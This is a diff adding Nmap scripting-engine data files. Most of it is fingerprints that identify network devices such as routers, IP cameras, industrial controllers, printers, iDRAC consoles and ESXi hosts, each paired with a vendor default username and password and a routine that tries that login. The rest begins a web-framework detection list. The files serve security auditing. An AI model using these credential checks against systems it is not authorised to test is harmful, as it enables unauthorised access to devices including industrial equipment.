+})
+
+table.insert(fingerprints, {
+ -- Version 3.3.2, 4.3.1, 4.4.0, 4.4.1 on RFS6000
+ name = "Motorola RF Switch",
+ category = "routers",
+ paths = {
+ {path = "/"}
+ },
+ target_check = function (host, port, path, response)
+ return response.status == 200
+ and (response.header["server"] or ""):find("^thttpd/%d+%.")
+ and response.body
+ and response.body:lower():find("<title>motorola wireless network management</title>", 1, true)
+ end,
+ login_combos = {
+ {username = "admin", password = "superuser"}
+ },
+ login_check = function (host, port, path, user, pass)
+ local login = ("J20K34NMMT89XPIJ34S login %s %s"):format(stdnse.tohex(user), stdnse.tohex(pass))
+ local lurl = url.absolute(path, "usmCgi.cgi/?" .. url.escape(login))
+ local resp = http_get_simple(host, port, lurl)
+ return resp.status == 200
+ and (resp.body or ""):find("^login 0 ")
+ end
+})
+
+table.insert(fingerprints, {
+ -- Version 3.4.5.1 on Aruba800
+ name = "ArubaOS WebUI",
+ cpe = "cpe:/o:arubanetworks:arubaos",
+ category = "routers",
+ paths = {
+ {path = "/"}
+ },
+ target_check = function (host, port, path, response)
+ return response.status == 401
+ and response.body
+ and response.body:find("/images/arubalogo.gif", 1, true)
+ and response.body:find("/screens/wms/wms.login", 1, true)
+ end,
+ login_combos = {
+ {username = "admin", password = "admin"}
+ },
+ login_check = function (host, port, path, user, pass)
+ local resp = http_post_simple(host, port,
+ url.absolute(path, "screens/wms/wms.login"),
+ nil,
+ {opcode="login", url="/", needxml="0",
+ uid=user, passwd=pass})
+ return resp.status == 200
+ and (resp.body or ""):find("/screens/wmsi/monitor.summary.html", 1, true)
+ end
+})
+
+table.insert(fingerprints, {
+ name = "Aruba AirWave",
+ cpe = "cpe:/a:arubanetworks:airwave",
+ category = "routers",
+ paths = {
+ {path = "/"}
+ },
+ target_check = function (host, port, path, response)
+ return response.status == 401
+ and response.body
+ and response.body:find("/noauth/theme/airwave/favicon.ico", 1, true)
+ and response.body:find("/api/user_prefs.json", 1, true)
+ end,
+ login_combos = {
+ {username = "admin", password = "admin"}
+ },
+ login_check = function (host, port, path, user, pass)
+ return try_http_post_login(host, port, path, "LOGIN",
+ "403 Forbidden",
+ {credential_0=user, credential_1=pass,
+ destination=url.absolute(path, "index.html")})
+ end
+})
+
+table.insert(fingerprints, {
+ -- Version 08.05.100 on NVR 1750D
+ name = "Nortel VPN Router",
+ cpe = "cpe:/h:nortel:vpn_router_*",
+ category = "routers",
+ paths = {
+ {path = "/"}
+ },
+ target_check = function (host, port, path, response)
+ return response.status == 200
+ and response.header["server"] == "HTTP Server"
+ and response.body
+ and response.body:lower():find("<title>nortel vpn router</title>", 1, true)
+ end,
+ login_combos = {
+ {username = "admin", password = "setup"}
+ },
+ login_check = function (host, port, path, user, pass)
+ return try_http_basic_login(host, port,
+ url.absolute(path, "manage/bdy_sys.htm"),
+ user, pass, false)
+ end
+})
+
+table.insert(fingerprints, {
+ -- Version 5.0.0r8 on NetScreen 5XT
+ name = "ScreenOS",
+ cpe = "cpe:/o:juniper:netscreen_screenos",
+ category = "routers",
+ paths = {
+ {path = "/"}
+ },
+ target_check = function (host, port, path, response)
+ return response.status == 200
+ and (response.header["server"] or ""):find("^Virata%-EmWeb/R%d+_")
+ and response.body
+ and response.body:lower():find("admin_pw", 1, true)
+ end,
+ login_combos = {
+ {username = "netscreen", password = "netscreen"}
+ },
+ login_check = function (host, port, path, user, pass)
+ local form = {admin_id="",
+ admin_pw="",
+ time=tostring(math.floor(stdnse.clock_ms())):sub(5),
+ un=base64.enc(user),
+ pw=base64.enc(pass)}
+ local resp = http_post_simple(host, port, url.absolute(path, "index.html"),
+ nil, form)
+ return resp.status == 303
+ and (resp.header["location"] or ""):find("/nswebui.html?", 1, true)
+ end
+})
+
+table.insert(fingerprints, {
+ -- Version 11.4.1, 11.5.3
+ name = "F5 TMOS",
+ cpe = "cpe:/o:f5:tmos",
+ category = "routers",
+ paths = {
+ {path = "/"}
+ },
+ target_check = function (host, port, path, response)
+ return response.status == 200
+ and response.body
+ and response.body:find("F5 Networks", 1, true)
+ and response.body:find("BIG-IP", 1, true)
+ and response.body:find("/tmui/tmui/system/settings/redirect.jsp", 1, true)
+ end,
+ login_combos = {
+ {username = "admin", password = "admin"}
+ },
+ login_check = function (host, port, path, user, pass)
+ return try_http_post_login(host, port, path, "tmui/logmein.html",
+ "login%.jsp%?msgcode=1",
+ {username=user, passwd=pass})
+ end
+})
+
+table.insert(fingerprints, {
+ -- Version 10.5 on MPX 8005
+ name = "Citrix NetScaler",
+ cpe = "cpe:/a:citrix:netscaler",
+ category = "routers",
+ paths = {
+ {path = "/"}
+ },
+ target_check = function (host, port, path, response)
+ return response.status == 200
+ and response.body
+ and response.body:find("NetScaler", 1, true)
+ and response.body:lower():find("<title>citrix login</title>", 1, true)
+ end,
+ login_combos = {
+ {username = "nsroot", password = "nsroot"}
+ },
+ login_check = function (host, port, path, user, pass)
+ return try_http_post_login(host, port, path, "login/do_login",
+ "Invalid username or password",
+ {username=user, password=pass, url="", timezone_offset="0"},
+ false)
+ end
+})
+
+---
+--Digital recorders
+---
+table.insert(fingerprints, {
+ -- UI Version 03.2 (4.8), 03.2 (5.5)
+ name = "DM Digital Sprite 2",
+ category = "security",
+ paths = {
+ {path = "/"}
+ },
+ target_check = function (host, port, path, response)
+ return response.status == 200
+ and response.body
+ and response.body:find("Dedicated Micros", 1, true)
+ and response.body:find("webpages/index.shtml", 1, true)
+ and response.body:lower():find('<meta%s+name%s*=%s*"author"%s+content%s*=%s*"dedicated micros ')
+ end,
+ login_combos = {
+ {username = "dm", password = "web"}
+ },
+ login_check = function (host, port, path, user, pass)
+ return try_http_basic_login(host, port,
+ url.absolute(path, "frmpages/index.html"),
+ user, pass, true)
+ end
+})
+
+table.insert(fingerprints, {
+ -- Version SD32L30, ECS116/A
+ name = "DM NetVu",
+ category = "security",
+ paths = {
+ {path = "/"}
+ },
+ target_check = function (host, port, path, response)
+ return response.status == 200
+ and response.body
+ and response.body:find("Dedicated Micros", 1, true)
+ and response.body:find("/gui/gui_outer_frame.shtml", 1, true)
+ and response.body:lower():find('<meta%s+name%s*=%s*"author"%s+content%s*=%s*"dedicated micros ')
+ end,
+ login_combos = {
+ {username = "", password = ""}
+ },
+ login_check = function (host, port, path, user, pass)
+ local lurl = url.absolute(path, "gui/frmpages/gui_system.shtml")
+ -- Check if authentication is required at all
+ local resp = http_get_simple(host, port, lurl)
+ if resp.status == 200 then
+ return (resp.body or ""):find('top.render_table("System Page"', 1, true)
+ end
+ return try_http_basic_login(host, port, lurl, user, pass, true)
+ end
+})
+
+table.insert(fingerprints, {
+ name = "AXIS Network Camera (M Series)",
+ category = "security",
+ paths = {
+ {path = "/view/viewer_index.shtml"},
+ },
+ target_check = function (host, port, path, response)
+ local realm = http_auth_realm(response) or ""
+ return realm:find("AXIS")
+ end,
+ login_combos = {
+ {username = "admin", password = "admin"},
+ {username = "admin", password = ""},
+ {username = "root", password = ""},
+ {username = "root", password = "root"}
+ },
+ login_check = function (host, port, path, user, pass)
+ return try_http_basic_login(host, port, path, user, pass, false)
+ end
+})
+
+table.insert(fingerprints, {
+ name = "Hikvision DS-XXX Network Camera",
+ category = "security",
+ paths = {
+ {path = "/PSIA/Custom/SelfExt/userCheck"},
+ },
+ target_check = function (host, port, path, response)
+ return response.header["server"] == "App-webs/"
+
+ end,
+ login_combos = {
+ {username = "admin", password = "12345"},
+ },
+ login_check = function (host, port, path, user, pass)
+ return try_http_basic_login(host, port, path, user, pass, false)
+ end
+})
+
+table.insert(fingerprints, {
+ name = "NUOO DVR",
+ category = "security",
+ paths = {
+ {path = "/"},
+ },
+ target_check = function (host, port, path, response)
+ return response.header['server'] and response.header["server"]:find("lighttpd")
+ and response.body and response.body:lower():find("<title>network video recorder login</title>")
+ end,
+ login_combos = {
+ {username = "admin", password = "admin"},
+ },
+ login_check = function (host, port, path, user, pass)
+ local resp = http_post_simple(host, port,
+ url.absolute(path, "login.php"), nil,
+ {language="en", user=user, pass=pass,submit="Login"})
+ if resp.status == 302 and not(resp.body:find("loginfail")) then return true end
+ end
+})
+
+---
+--Industrial systems
+---
+table.insert(fingerprints, {
+ -- Version 2.1.2, 2.2.0 on TSX ETY Port, 1.0.4, 2.2.0 on TSX ETY410
+ name = "Schneider Modicon Web",
+ category = "industrial",
+ paths = {
+ {path = "/"}
+ },
+ target_check = function (host, port, path, response)
+ return response.status == 302
+ and (response.header["server"] or ""):find("^Schneider%-WEB/V%d+%.")
+ and (response.header["location"] or ""):find("/index%.htm$")
+ end,
+ login_combos = {
+ {username = "USER", password = "USER"}
+ },
+ login_check = function (host, port, path, user, pass)
+ return try_http_basic_login(host, port,
+ url.absolute(path, "secure/system/globaldata.htm?Language=English"),
+ user, pass, false)
+ end
+})
+
+table.insert(fingerprints, {
+ -- Version 06.05.00/6.0.1 on QD2040 HW 675
+ name = "TCS Basys Controls Communication Center",
+ category = "industrial",
+ paths = {
+ {path = "/"}
+ },
+ target_check = function (host, port, path, response)
+ return http_auth_realm(response) == "Private"
+ and (response.header["server"] or ""):find("^lighttpd/%d+%.")
+ end,
+ login_combos = {
+ {username = "admin", password = "password"}
+ },
+ login_check = function (host, port, path, user, pass)
+ return try_http_basic_login(host, port, path, user, pass, false)
+ end
+})
+
+table.insert(fingerprints, {
+ -- Version 01.01
+ name = "Riello UPS NetMan 204",
+ category = "industrial",
+ paths = {
+ {path = "/"}
+ },
+ target_check = function (host, port, path, response)
+ return response.status == 200
+ and (response.header["server"] or ""):find("^mini_httpd/%d+%.")
+ and response.body
+ and response.body:lower():find("<title>netman 204 login</title>", 1, true)
+ end,
+ login_combos = {
+ {username = "admin", password = "admin"},
+ {username = "fwupgrade", password = "fwupgrade"},
+ {username = "user", password = "user"},
+ {username = "eurek", password = "eurek"}
+ },
+ login_check = function (host, port, path, user, pass)
+ local resp = http_post_simple(host, port,
+ url.absolute(path, "cgi-bin/login.cgi"),
+ nil, {username=user, password=pass})
+ return resp.status == 200
+ and resp.body
+ and (resp.body:find(">window.location.replace(", 1, true)
+ or resp.body:find("Another user is logged in", 1, true))
+ end
+})
+
+table.insert(fingerprints, {
+ -- Version 3.2.5 on AP9606, 2.5.0, 2.6.4 on AP9617, AP9619, 1.1.6 on AP7900
+ name = "APC Management Card (basic auth)",
+ category = "industrial",
+ paths = {
+ {path = "/"}
+ },
+ target_check = function (host, port, path, response)
+ return http_auth_realm(response) == "APC Management Card"
+ end,
+ login_combos = {
+ {username = "apc", password = "apc"}
+ },
+ login_check = function (host, port, path, user, pass)
+ return try_http_basic_login(host, port, path, user, pass, false)
+ end
+})
+
+---
+--Printers
+---
+table.insert(fingerprints, {
+ -- Version 61.17.5Z on ZTC GK420d
+ name = "Zebra Printer",
+ category = "printer",
+ paths = {
+ {path = "/"}
+ },
+ target_check = function (host, port, path, response)
+ return response.status == 200
+ and response.body
+ and response.body:find("Zebra Technologies", 1, true)
+ and response.body:lower():find('<a href="config.html">view printer configuration</a>', 1, true)
+ end,
+ login_combos = {
+ {username = "", password = "1234"}
+ },
+ login_check = function (host, port, path, user, pass)
+ return try_http_post_login(host, port, path, "authorize",
+ "incorrect password", {["0"]=pass})
+ end
+})
+
+table.insert(fingerprints, {
+ -- Version 61.17.5Z on ZTC GK420d, 1.01.4
+ name = "Zebra Print Server",
+ category = "printer",
+ paths = {
+ {path = "/server/TCPIPGEN.htm"}
+ },
+ target_check = function (host, port, path, response)
+ return http_auth_realm(response) == "Network Print Server"
+ end,
+ login_combos = {
+ {username = "admin", password = "1234"}
+ },
+ login_check = function (host, port, path, user, pass)
+ return try_http_basic_login(host, port, path, user, pass, false)
+ end
+})
+
+table.insert(fingerprints, {
+ -- Version 1.04.9 on RICOH MP C4503, 1.05 on MP 5054, 1.12 on MP C5000
+ name = "RICOH Web Image Monitor",
+ category = "printer",
+ paths = {
+ {path = "/"}
+ },
+ target_check = function (host, port, path, response)
+ return response.status == 200
+ and (response.header["server"] or ""):find("^Web%-Server/%d+%.")
+ and response.body
+ and response.body:find("/websys/webArch/mainFrame.cgi", 1, true)
+ end,
+ login_combos = {
+ {username = "admin", password = ""},
+ {username = "supervisor", password = ""}
+ },
+ login_check = function (host, port, path, user, pass)
+ -- determine proper login path by locale
+ local resp0 = http.get(host, port, path)
+ if resp0.status ~= 200 then return false end
+ local lurl = (resp0.body or ""):match('location%.href="(/[^"]+/)mainFrame%.cgi"')
+ if not lurl then return false end
+ -- harvest the login form token
+ local resp1 = http_get_simple(host, port, url.absolute(lurl, "authForm.cgi"),
+ {cookies="cookieOnOffChecker=on"})
+ if resp1.status ~= 200 then return false end
+ local token = (resp1.body or ""):match('<input%s+type%s*=%s*"hidden"%s+name%s*=%s*"wimToken"%s+value%s*=%s*"(.-)"')
+ if not token then return false end
+ -- build the login form and submit it
+ local form = {wimToken = token,
+ userid_work = "",
+ userid = base64.enc(user),
+ password_work = "",
+ password = base64.enc(pass),
+ open = ""}
+ local resp2 = http_post_simple(host, port, url.absolute(lurl, "login.cgi"),
+ {cookies=resp1.cookies}, form)
+ return resp2.status == 302
+ and (resp2.header["location"] or ""):find("/mainFrame%.cgi$")
+ and sets_cookie(resp2, "wimsesid", "^%d+$")
+ end
+})
+
+table.insert(fingerprints, {
+ -- Version 071.*, 072.* on WorkCentre 7835, 7845, ColorQube 8900X
+ name = "Xerox WorkCentre/ColorQube",
+ cpe = "cpe:/h:xerox:workcentre",
+ category = "printer",
+ paths = {
+ {path = "/"}
+ },
+ target_check = function (host, port, path, response)
+ return response.status == 200
+ and response.body
+ and response.body:find('SuppliesType != "InkStick"', 1, true)
+ and response.body:find("XEROX WORKCENTRE", 1, true)
+ end,
+ login_combos = {
+ {username = "admin", password = "1111"}
+ },
+ login_check = function (host, port, path, user, pass)
+ local form = {_fun_function="HTTP_Authenticate_fn",
+ NextPage=url.absolute(path, "properties/authentication/luidLogin.php"),
+ webUsername=user,
+ webPassword=pass,
+ frmaltDomain="default"}
+ return try_http_post_login(host, port, path, "userpost/xerox.set",
+ "/login%.php%?invalid=t", form)
+ end
+})
+
+table.insert(fingerprints, {
+ -- Version 1.1, 1.1 SP7
+ name = "EFI Fiery Webtools",
+ category = "printer",
+ paths = {
+ {path = "/"}
+ },
+ target_check = function (host, port, path, response)
+ return response.status == 200
+ and (response.header["content-location"] or ""):find("^redirect%.html%.")
+ and response.body
+ and response.body:lower():find('content="0;url=wt2parser.cgi?home_', 1, true)
+ end,
+ login_combos = {
+ {username = "Administrator", password = ""},
+ {username = "Administrator", password = "Fiery.1"}
+ },
+ login_check = function (host, port, path, user, pass)
+ -- sessionId normally includes the client IP, not the target,
+ -- but this would be too revealing
+ local sessionid = host.ip
+ .. "_"
+ .. math.floor(stdnse.clock_ms())
+ .. math.random(100000, 999999)
+ local encpass = xmlencode(pass)
+ local header = {["Content-Type"]="text/xml", ["SOAPAction"]='""'}
+ local soapmsg = [[
+ <?xml version='1.0' encoding='UTF-8'?>
+ <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
+ <SOAP-ENV:Body>
+ <ns1:doLogin xmlns:ns1="urn:FierySoapService" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
+ <sessionId xsi:type="xsd:string">__SESS__</sessionId>
+ <in xsi:type="ns1:Login">
+ <fieldsMask xsi:type="xsd:int">0</fieldsMask>
+ <password xsi:type="xsd:string">__PASS__</password>
+ <timeout xsi:type="xsd:int">30</timeout>
+ <userName xsi:type="xsd:string" xsi:nil="true"/>
+ </in>
+ </ns1:doLogin>
+ </SOAP-ENV:Body>
+ </SOAP-ENV:Envelope>
+ ]]
+ -- strip off indentation
+ soapmsg = soapmsg:gsub("%f[^\0\n]%s+", "")
+ -- username is not injected into the payload because it is implied
+ soapmsg = soapmsg:gsub("__%w+__", {__SESS__=sessionid, __PASS__=encpass})
+ local resp = http_post_simple(host, port, url.absolute(path, "soap"),
+ {header=header}, soapmsg)
+ return resp.status == 200
+ and (resp.body or ""):find('<result xsi:type="xsd:boolean">true</result>', 1, true)
+ end
+})
+
+table.insert(fingerprints, {
+ -- Version 3.6/4
+ name = "Lantronix ThinWeb Manager",
+ category = "printer",
+ paths = {
+ {path = "/"}
+ },
+ target_check = function (host, port, path, response)
+ return have_openssl
+ and response.status == 200
+ and (response.header["server"] or ""):find("^Gordian Embedded")
+ and response.body
+ and response.body:lower():find("<title>lantronix thinweb manager", 1, true)
+ end,
+ login_combos = {
+ {username = "", password = "system"}
+ },
+ login_check = function (host, port, path, user, pass)
+ local lurl = url.absolute(path, "server_eps.html")
+ -- obtain login nonce
+ local resp1 = http_get_simple(host, port, lurl)
+ local nonce = resp1.status == 403 and sets_cookie(resp1, "SrvrNonce", ".")
+ if not nonce then return false end
+ -- credential is the MD5 hash of the nonce and the password (in upper case)
+ local creds = stdnse.tohex(openssl.md5(nonce .. ":" .. pass:upper()))
+ local cookies = ("SrvrNonce=%s; SrvrCreds=%s"):format(nonce, creds)
+ local resp2 = http_get_simple(host, port, lurl, {cookies=cookies})
+ return resp2.status == 200
+ end
+})
+
+---
+--Storage
+---
+table.insert(fingerprints, {
+ -- Version TS200R021 on MSA 2000 G3
+ name = "HP Storage Management Utility",
+ category = "storage",
+ paths = {
+ {path = "/api/id/"}
+ },
+ -- TODO: Change the probe path to "/" and use the following target_check
+ -- once the http library adds support for gzip encoding. Don't forget
+ -- to change url.absolute() argument from "../" to "api/" in login_check.
+ --target_check = function (host, port, path, response)
+ -- return have_openssl
+ -- and response.status == 200
+ -- and response.body
+ -- and response.body:find("brandStrings", 1, true)
+ -- and response.body:find("checkAuthentication", 1, true)
+ -- and response.body:find("hp stuff init", 1, true)
+ --end,
+ target_check = function (host, port, path, response)
+ return have_openssl
+ and response.status == 200
+ and response.header["command-status"]
+ and response.header["command-status"]:find("^0 %({%s*systemName:.*,%s*controller:.*}%)")
+ end,
+ login_combos = {
+ {username = "monitor", password = "!monitor"},
+ {username = "manage", password = "!manage"},
+ {username = "admin", password = "!admin"}
+ },
+ login_check = function (host, port, path, user, pass)
+ local creds = stdnse.tohex(openssl.md5(user .. "_" .. pass))
+ local header = {["Content-Type"] = "application/x-www-form-urlencoded",
+ ["datatype"] = "json"}
+ local resp = http_post_simple(host, port, url.absolute(path, "../"),
+ {header=header}, "/api/login/" .. creds)
+ return resp.status == 200
+ and (resp.header["command-status"] or ""):find("^1 ")
+ end
+})
+
+table.insert(fingerprints, {
+ -- Version 7.5.0.3 on 2072-24C
+ name = "IBM Storwize V3700",
+ cpe = "cpe:/a:ibm:storwize_v3700_software",
+ category = "storage",
+ paths = {
+ {path = "/"}
+ },
+ target_check = function (host, port, path, response)
+ return response.status == 200
+ and response.body
+ and response.body:find("V3700", 1, true)
+ and response.body:lower():find("<title>[^<]-%sibm storwize v3700%s*</title>")
+ end,
+ login_combos = {
+ {username = "superuser", password = "passw0rd"}
+ },
+ login_check = function (host, port, path, user, pass)
+ local form = {login=user,
+ password=pass,
+ newPassword="",
+ confirmPassword="",
+ tzoffset="0", -- present twice in the original form
+ nextURL="", -- present twice in the original form
+ licAccept=""}
+ local resp = http_post_simple(host, port, url.absolute(path, "login"),
+ nil, form)
+ return resp.status == 302
+ and (resp.header["location"] or ""):find("/gui$")
+ end
+})
+
+---
+--Virtualization systems
+---
+table.insert(fingerprints, {
+ -- Version 5.0.0
+ name = "VMware ESXi",
+ cpe = "cpe:/o:vmware:esxi",
+ category = "virtualization",
+ paths = {
+ {path = "/"}
+ },
+ target_check = function (host, port, path, response)
+ return response.status == 200
+ and response.body
+ and response.body:find("ID_EESX_Welcome", 1, true)
+ and response.body:find("/folder?dcPath=ha-datacenter", 1, true)
+ end,
+ login_combos = {
+ {username = "root", password = ""}
+ },
+ login_check = function (host, port, path, user, pass)
+ return try_http_basic_login(host, port,
+ url.absolute(path, "folder?dcPath=ha-datacenter"),
+ user, pass, false)
+ end
+})
+
+table.insert(fingerprints, {
+ -- Version 4.0.0
+ name = "PCoIP Zero Client",
+ cpe = "cpe:/a:teradici:pcoip_host_software",
+ category = "virtualization",
+ paths = {
+ {path = "/login.html"}
+ },
+ target_check = function (host, port, path, response)
+ return response.status == 200
+ and response.body
+ and response.body:find("PCoIP&#174 Zero Client", 1, true)
+ and response.body:find("password_value", 1, true)
+ end,
+ login_combos = {
+ {username = "", password = "Administrator"}
+ },
+ login_check = function (host, port, path, user, pass)
+ local resp = http_post_simple(host, port, url.absolute(path, "cgi-bin/login"),
+ nil, {password_value=pass, idle_timeout=60})
+ -- successful login is a 302-redirect that sets a session cookie with hex
+ -- value; failed login is the same but the cookie contains an error message
+ return resp.status == 302 and sets_cookie(resp, "session_id", "^%x+$")
+ end
+})
+
+---
+--Remote consoles
+---
+table.insert(fingerprints, {
+ -- Version 5.5, 6.1, 6.2, 7.2 on SLC16, SLC32, SLC48, SLC 8016
+ name = "Lantronix SLC",
+ category = "console",
+ paths = {
+ {path = "/"}
+ },
+ target_check = function (host, port, path, response)
+ return response.status == 200
+ and (response.header["server"] or ""):find("^mini_httpd/%d+%.")
+ and response.body
+ and response.body:find("lantronix", 1, true)
+ and response.body:find("slcpassword", 1, true)
+ end,
+ login_combos = {
+ {username = "sysadmin", password = "PASS"}
+ },
+ login_check = function (host, port, path, user, pass)
+ return try_http_post_login(host, port, path, "./",
+ "%sname%s*=%s*(['\"]?)slcpassword%1[%s>]",
+ {slclogin=user, slcpassword=pass})
+ end
+})
+
+table.insert(fingerprints, {
+ --Version 1.10.12, 1.80
+ name = "Dell iDRAC6",
+ cpe = "cpe:/o:dell:idrac6_firmware",
+ category = "console",
+ paths = {
+ {path = "/"}
+ },
+ target_check = function (host, port, path, response)
+ return response.status == 301
+ and (response.header["server"] or ""):find("^Mbedthis%-Appweb/%d+%.")
+ and (response.header["location"] or ""):find("/start%.html$")
+ end,
+ login_combos = {
+ {username = "root", password = "calvin"}
+ },
+ login_check = function (host, port, path, user, pass)
+ return try_http_post_login(host, port, path, "data/login",
+ "<authResult>1</authResult>",
+ {user=user, password=pass})
+ end
+})
+
+table.insert(fingerprints, {
+ name = "Dell iDRAC9",
+ cpe = "cpe:/o:dell:idrac9_firmware",
+ category = "console",
+ paths = {
+ {path = "/"}
+ },
+ target_check = function (host, port, path, response)
+ -- analyze response for 1st request to "/"
+ if not (response.status == 302 and (response.header["location"] or ""):find("/restgui/start%.html$")) then return false end
+
+ -- check with 2nd request to "/restgui/start.html" to be sure
+ local resp = http_get_simple(host, port, url.absolute(path, "restgui/start.html"))
+ return resp.status == 200
+ and resp.body
+ and resp.body:find("idrac-start-screen", 1, true)
+ end,
+ login_combos = {
+ {username = "root", password = "calvin"}
+ },
+ login_check = function (host, port, path, user, pass)
+ local headers = {
+ ["user"]='"'..user..'"',
+ ["password"]='"'..pass..'"'
+ }
+ local resp = http_post_simple(host, port, url.absolute(path, "sysmgmt/2015/bmc/session"),
+ {header=headers})
+ local body = resp.body or ""
+
+ return (resp.status == 201 and (
+ body:find('"authResult":0') -- standard login success
+ or body:find('"authResult":7') -- login success with default credentials
+ or body:find('"authResult":9') -- login success with password reset required
+ )
+ )
+ end
+})
+
+table.insert(fingerprints, {
+ --Version 1.1 on Supermicro X7SB3
+ name = "Supermicro WPCM450",
+ category = "console",
+ paths = {
+ {path = "/"}
+ },
+ target_check = function (host, port, path, response)
+ return response.status == 200
+ and response.body
+ and response.body:find("ATEN International", 1, true)
+ and response.body:find("/cgi/login.cgi", 1, true)
+ end,
+ login_combos = {
+ {username = "ADMIN", password = "ADMIN"}
+ },
+ login_check = function (host, port, path, user, pass)
+ local resp = http_post_simple(host, port, url.absolute(path, "cgi/login.cgi"),
+ nil, {name=user, pwd=pass})
+ return resp.status == 200
+ and (resp.body or ""):find("../cgi/url_redirect.cgi?url_name=mainmenu", 1, true)
+ end
+})
diff --git a/nselib/data/http-devframework-fingerprints.lua b/nselib/data/http-devframework-fingerprints.lua
new file mode 100644
index 0000000..9effa7d
--- /dev/null
+++ b/nselib/data/http-devframework-fingerprints.lua
@@ -0,0 +1,440 @@
+local http = require "http"
+local string = require "string"
+local table = require "table"
+
+---
+-- http-devframework-fingerprints.lua
+-- This file contains fingerprint data for http-devframework.nse
+--
+-- STRUCTURE:
+-- * <code>name</code> - Descriptive name
+-- * <code>rapidDetect</code> - Callback function that is called in the beginning
+-- of detection process. It takes the host and port of the target website as
+-- arguments.
+-- * <code>consumingDetect</code> - Callback function that is called for each
+-- spidered page. It takes the body of the response (HTML source code) and the
+-- requested path as arguments.
+---
+
+
+tools = { Django = { rapidDetect = function(host, port)
+
+ -- Check if the site gives that familiar Django admin login page.
+ local response = http.get(host, port, "/admin/")
+
+ if response.body then
+ if string.find(response.body, "Log in | Django site admin") or
+ string.find(response.body, "this_is_the_login_form") or
+ string.find(response.body, "csrfmiddlewaretoken") then
+ return "Django detected. Found Django admin login page on /admin/"
+ end
+ end
+
+ -- In Django, the cookie sessionid is being set when you log in
+ -- and forms will probably set a cookie called csrftoken.
+ if response.cookies then
+ for _, c in pairs(response.cookies) do
+ if c.name == "csrftoken" then
+ return "Django detected. Found sessionid cookie which means the contrib.auth package for authentication is enabled."
+ elseif c.name == "sessionid" then
+ return "Django detected. Found csrftoken cookie."
+ end
+ end
+ end
+
+ -- See if DEBUG mode still happens to be true.
+ response = http.get(host, port, "/random404page/")
+
+ if response.body then
+ if string.find(response.body, "<code>DEBUG = True</code>") then
+ return "Django detected. Found Django error page on /random404page/"
+ end
+ end
+
+ end,
+
+ consumingDetect = function(page, path)
+ if page then
+ if string.find(page, "csrfmiddlewaretoken") then
+ return "Django detected. Found csrfmiddlewaretoken on " .. path
+ end
+ if string.find(page, "id=\"id_") then
+ return "Django detected. Found id_ preffix in id attribute name on " .. path
+ end
+ if string.find(page, "%-TOTAL%-FORMS") or string.find(page, "%-DELETE") then
+ return "Django detected. Found -TOTAL-FORMS and -DELETE hidden inputs, which means there is a Django formset on " .. path
+ end
+ end
+ end
+ },
+
+ RubyOnRails = { rapidDetect = function(host, port)
+
+ local response = http.get(host, port, "/")
+
+ -- Check for Mongrel or Passenger in the "Server" or "X-Powered-By" header
+ for h, v in pairs(response.header) do
+ if h == "x-powered-by" or h == "server" then
+ local vl = v:lower()
+ local m = vl:match("mongrel") or vl:match("passenger")
+ if m then
+ return "RoR detected. Found '" .. m .. "' in " .. h .. " header sent by the server."
+ end
+ end
+ end
+
+ -- /rails/info/propertires shows project info when in development mode
+ response = http.get(host, port, "/rails/info/properties")
+
+ if response.body then
+ if string.find(response.body, "Ruby version") then
+ return "RoR detected. Found properties file on /rails/info/properties/"
+ end
+ end
+
+ -- Make up a bad path and match the error page
+ response = http.get(host, port, "/random404page/")
+
+ if response.body then
+ if string.find(response.body, "Routing Error") then
+ return "RoR detected. Found RoR routing error page on /random404page/"
+ end
+ end
+
+ end,
+
+ consumingDetect = function(page, path)
+
+ -- Check the source and look for csrf patterns.
+ if page then
+ if string.find(page, "csrf%-param") or string.find(page, "csrf%-token") then
+ return "RoR detected. Found csrf field on" .. path
+ end
+ end
+
+ end
+ },
+
+
+ ASPdotNET = { rapidDetect = function(host, port)
+
+ local response = http.get(host, port, "/")
+
+ -- Look for an ASP.NET header.
+ for h, v in pairs(response.header) do
+ local vl = v:lower()
+ if h == "x-aspnet-version" or string.find(vl, "asp") then
+ return "ASP.NET detected. Found related header."
+ end
+ end
+
+ if response.cookies then
+ for _, c in pairs(response.cookies) do
+ if c.name == "aspnetsessionid" then
+ return "ASP.NET detected. Found aspnetsessionid cookie."
+ end
+ end
+ end
+ end,
+
+ consumingDetect = function(page, path)
+ -- Check the source and look for common traces.
+ if page then
+ if string.find(page, " __VIEWSTATE") or
+ string.find(page, "__EVENT") or
+ string.find(page, "__doPostBack") or
+ string.find(page, "aspnetForm") or
+ string.find(page, "ctl00_") then
+ return "ASP.NET detected. Found common traces on" .. path
+ end
+ end
+ end
+ },
+
+ CodeIgniter = { rapidDetect = function(host, port)
+
+ -- Match default error page.
+ local response = http.get(host, port, "/random404page/")
+
+ if response.body then
+ if string.find(response.body, "#990000") and
+ string.find(response.body, "404 Page Not Found") then
+ return "CodeIgniter detected. Found CodeIgniter default error page on /random404page/"
+ end
+ end
+
+ end,
+
+ consumingDetect = function(page, path)
+ return
+ end
+ },
+
+ CakePHP = { rapidDetect = function(host, port)
+
+
+ -- Find CAKEPHP header.
+ local response = http.get(host, port, "/")
+
+ for h, v in pairs(response.header) do
+ local vl = v:lower()
+ if string.find(vl, "cakephp") then
+ return "CakePHP detected. Found related header."
+ end
+ end
+
+ end,
+
+ consumingDetect = function(page, path)
+ return
+ end
+ },
+
+ Symfony = { rapidDetect = function(host, port)
+
+ -- Find Symfony header.
+ local response = http.get(host, port, "/")
+
+ for h, v in pairs(response.header) do
+ local vl = v:lower()
+ if string.find(vl, "symfony") then
+ return "Symfony detected. Found related header."
+ end
+ end
+
+ end,
+
+ consumingDetect = function(page, path)
+ return
+ end
+ },
+
+ Wordpress = { rapidDetect = function(host, port)
+
+ -- Check for common traces in the source code.
+ local response = http.get(host, port, "/")
+
+ if response.body then
+ if string.find(response.body, "content=[\"']WordPress") or
+ string.find(response.body, "wp%-content") then
+ return "Wordpress detected. Found common traces on /"
+ end
+ end
+
+ -- Check if the default login page exists.
+ response = http.get(host, port, "/wp%-login")
+
+ if response.status == "200" then
+ return "Wordpress detected. Found WP login page on /wp-login"
+ end
+ end,
+
+ consumingDetect = function(page, path)
+ if page then
+ if string.find(page, "content=[\"']WordPress") or
+ string.find(page, "wp%-content") then
+ return "Wordpress detected. Found common traces on " .. page
+ end
+ end
+ end
+ },
+
